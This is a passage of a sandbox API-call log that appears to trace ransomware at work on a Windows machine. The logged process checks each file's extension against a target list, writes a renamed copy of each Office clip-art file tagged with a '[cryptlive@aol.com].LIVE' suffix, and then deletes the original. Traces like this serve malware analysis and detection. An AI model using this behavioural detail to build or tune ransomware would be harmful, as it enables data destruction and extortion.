dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0148.291] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.291] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.292] GetLastError () returned 0x0 [0148.292] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x4752, lpOverlapped=0x0) returned 1 [0148.303] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4760, lpOverlapped=0x0) returned 1 [0148.305] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.305] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.305] SetEndOfFile (hFile=0x388) returned 1 [0148.305] CloseHandle (hObject=0x388) returned 1 [0148.305] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.305] SetEndOfFile (hFile=0x328) returned 1 [0148.307] CloseHandle (hObject=0x328) returned 1 [0148.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0148.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0148.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0148.308] lstrlenW (lpString=".doc") returned 4 [0148.308] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.309] lstrlenW (lpString=".docx") returned 5 [0148.309] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0148.309] lstrlenW (lpString=".pdf") returned 4 [0148.309] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.309] lstrlenW (lpString=".xls") returned 4 [0148.309] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.309] lstrlenW (lpString=".xlsx") returned 5 [0148.309] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0148.309] lstrlenW (lpString=".ppt") returned 4 [0148.309] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0148.309] lstrlenW (lpString=".zip") returned 4 [0148.309] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.309] lstrlenW (lpString=".rar") returned 4 [0148.309] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.309] lstrlenW (lpString=".bz2") returned 4 [0148.309] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.309] lstrlenW (lpString=".7z") returned 3 [0148.309] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0148.309] lstrlenW (lpString=".dbf") returned 4 [0148.309] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0148.309] lstrlenW (lpString=".1cd") returned 4 [0148.309] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0148.309] lstrlenW (lpString=".jpg") returned 4 [0148.309] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0148.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0148.309] lstrlenW (lpString=".doc") returned 4 [0148.309] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.309] lstrlenW (lpString=".docx") returned 5 [0148.309] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0148.309] lstrlenW (lpString=".pdf") returned 4 [0148.309] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.310] lstrlenW (lpString=".xls") returned 4 [0148.310] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.310] lstrlenW (lpString=".xlsx") returned 5 [0148.310] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0148.310] lstrlenW (lpString=".ppt") returned 4 [0148.310] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0148.310] lstrlenW (lpString=".zip") returned 4 [0148.310] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.310] lstrlenW (lpString=".rar") returned 4 [0148.310] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.310] lstrlenW (lpString=".bz2") returned 4 [0148.310] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.310] lstrlenW (lpString=".7z") returned 3 [0148.310] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0148.310] lstrlenW (lpString=".dbf") returned 4 [0148.310] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0148.310] lstrlenW (lpString=".1cd") returned 4 [0148.310] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0148.310] lstrlenW (lpString=".jpg") returned 4 [0148.310] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.310] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.310] lstrlenW (lpString="J0099150.JPG") returned 12 [0148.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0148.311] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=21914) returned 1 [0148.311] CloseHandle (hObject=0x328) returned 1 [0148.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 0x20 [0148.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0148.312] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.312] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.312] GetLastError () returned 0x0 [0148.312] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x559a, lpOverlapped=0x0) returned 1 [0148.317] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x55a0, lpOverlapped=0x0) returned 1 [0148.318] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.318] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.318] SetEndOfFile (hFile=0x388) returned 1 [0148.318] CloseHandle (hObject=0x388) returned 1 [0148.318] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.318] SetEndOfFile (hFile=0x328) returned 1 [0148.321] CloseHandle (hObject=0x328) returned 1 [0148.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0148.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0148.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0148.322] lstrlenW (lpString=".doc") returned 4 [0148.322] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.322] lstrlenW (lpString=".docx") returned 5 [0148.322] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0148.322] lstrlenW (lpString=".pdf") returned 4 [0148.322] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.322] lstrlenW (lpString=".xls") returned 4 [0148.322] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.322] lstrlenW (lpString=".xlsx") returned 5 [0148.322] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0148.322] lstrlenW (lpString=".ppt") returned 4 [0148.322] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0148.322] lstrlenW (lpString=".zip") returned 4 [0148.322] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.322] lstrlenW (lpString=".rar") returned 4 [0148.322] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.322] lstrlenW (lpString=".bz2") returned 4 [0148.322] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.322] lstrlenW (lpString=".7z") returned 3 [0148.322] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0148.322] lstrlenW (lpString=".dbf") returned 4 [0148.322] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0148.322] lstrlenW (lpString=".1cd") returned 4 [0148.322] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0148.322] lstrlenW (lpString=".jpg") returned 4 [0148.322] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0148.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0148.323] lstrlenW (lpString=".doc") returned 4 [0148.323] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.323] lstrlenW (lpString=".docx") returned 5 [0148.323] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0148.323] lstrlenW (lpString=".pdf") returned 4 [0148.323] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.323] lstrlenW (lpString=".xls") returned 4 [0148.323] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.323] lstrlenW (lpString=".xlsx") returned 5 [0148.323] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0148.323] lstrlenW (lpString=".ppt") returned 4 [0148.323] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0148.323] lstrlenW (lpString=".zip") returned 4 [0148.323] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.323] lstrlenW (lpString=".rar") returned 4 [0148.323] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.323] lstrlenW (lpString=".bz2") returned 4 [0148.323] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.323] lstrlenW (lpString=".7z") returned 3 [0148.323] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0148.323] lstrlenW (lpString=".dbf") returned 4 [0148.323] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0148.323] lstrlenW (lpString=".1cd") returned 4 [0148.323] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0148.323] lstrlenW (lpString=".jpg") returned 4 [0148.323] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.323] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.324] lstrlenW (lpString="J0099151.WMF") returned 12 [0148.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0148.324] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=26086) returned 1 [0148.324] CloseHandle (hObject=0x328) returned 1 [0148.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 0x20 [0148.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0148.325] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.325] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.325] GetLastError () returned 0x0 [0148.325] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x65e6, lpOverlapped=0x0) returned 1 [0148.333] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x65f0, lpOverlapped=0x0) returned 1 [0148.335] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.335] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.335] SetEndOfFile (hFile=0x388) returned 1 [0148.335] CloseHandle (hObject=0x388) returned 1 [0148.335] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.335] SetEndOfFile (hFile=0x328) returned 1 [0148.338] CloseHandle (hObject=0x328) returned 1 [0148.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0148.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0148.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0148.339] lstrlenW (lpString=".doc") returned 4 [0148.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.339] lstrlenW (lpString=".docx") returned 5 [0148.339] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0148.339] lstrlenW (lpString=".pdf") returned 4 [0148.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.339] lstrlenW (lpString=".xls") returned 4 [0148.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.339] lstrlenW (lpString=".xlsx") returned 5 [0148.339] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0148.339] lstrlenW (lpString=".ppt") returned 4 [0148.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0148.339] lstrlenW (lpString=".zip") returned 4 [0148.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.339] lstrlenW (lpString=".rar") returned 4 [0148.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.339] lstrlenW (lpString=".bz2") returned 4 [0148.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.339] lstrlenW (lpString=".7z") returned 3 [0148.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0148.339] lstrlenW (lpString=".dbf") returned 4 [0148.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0148.340] lstrlenW (lpString=".1cd") returned 4 [0148.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0148.340] lstrlenW (lpString=".jpg") returned 4 [0148.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0148.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0148.340] lstrlenW (lpString=".doc") returned 4 [0148.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.340] lstrlenW (lpString=".docx") returned 5 [0148.340] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0148.340] lstrlenW (lpString=".pdf") returned 4 [0148.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.340] lstrlenW (lpString=".xls") returned 4 [0148.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.340] lstrlenW (lpString=".xlsx") returned 5 [0148.340] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0148.340] lstrlenW (lpString=".ppt") returned 4 [0148.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0148.340] lstrlenW (lpString=".zip") returned 4 [0148.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.340] lstrlenW (lpString=".rar") returned 4 [0148.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.340] lstrlenW (lpString=".bz2") returned 4 [0148.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.340] lstrlenW (lpString=".7z") returned 3 [0148.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0148.340] lstrlenW (lpString=".dbf") returned 4 [0148.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0148.340] lstrlenW (lpString=".1cd") returned 4 [0148.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0148.341] lstrlenW (lpString=".jpg") returned 4 [0148.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.341] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.341] lstrlenW (lpString="J0099152.JPG") returned 12 [0148.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0148.341] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11694) returned 1 [0148.341] CloseHandle (hObject=0x328) returned 1 [0148.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 0x20 [0148.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0148.342] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.342] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.343] GetLastError () returned 0x0 [0148.343] ReadFile (in: hFile=0x328, 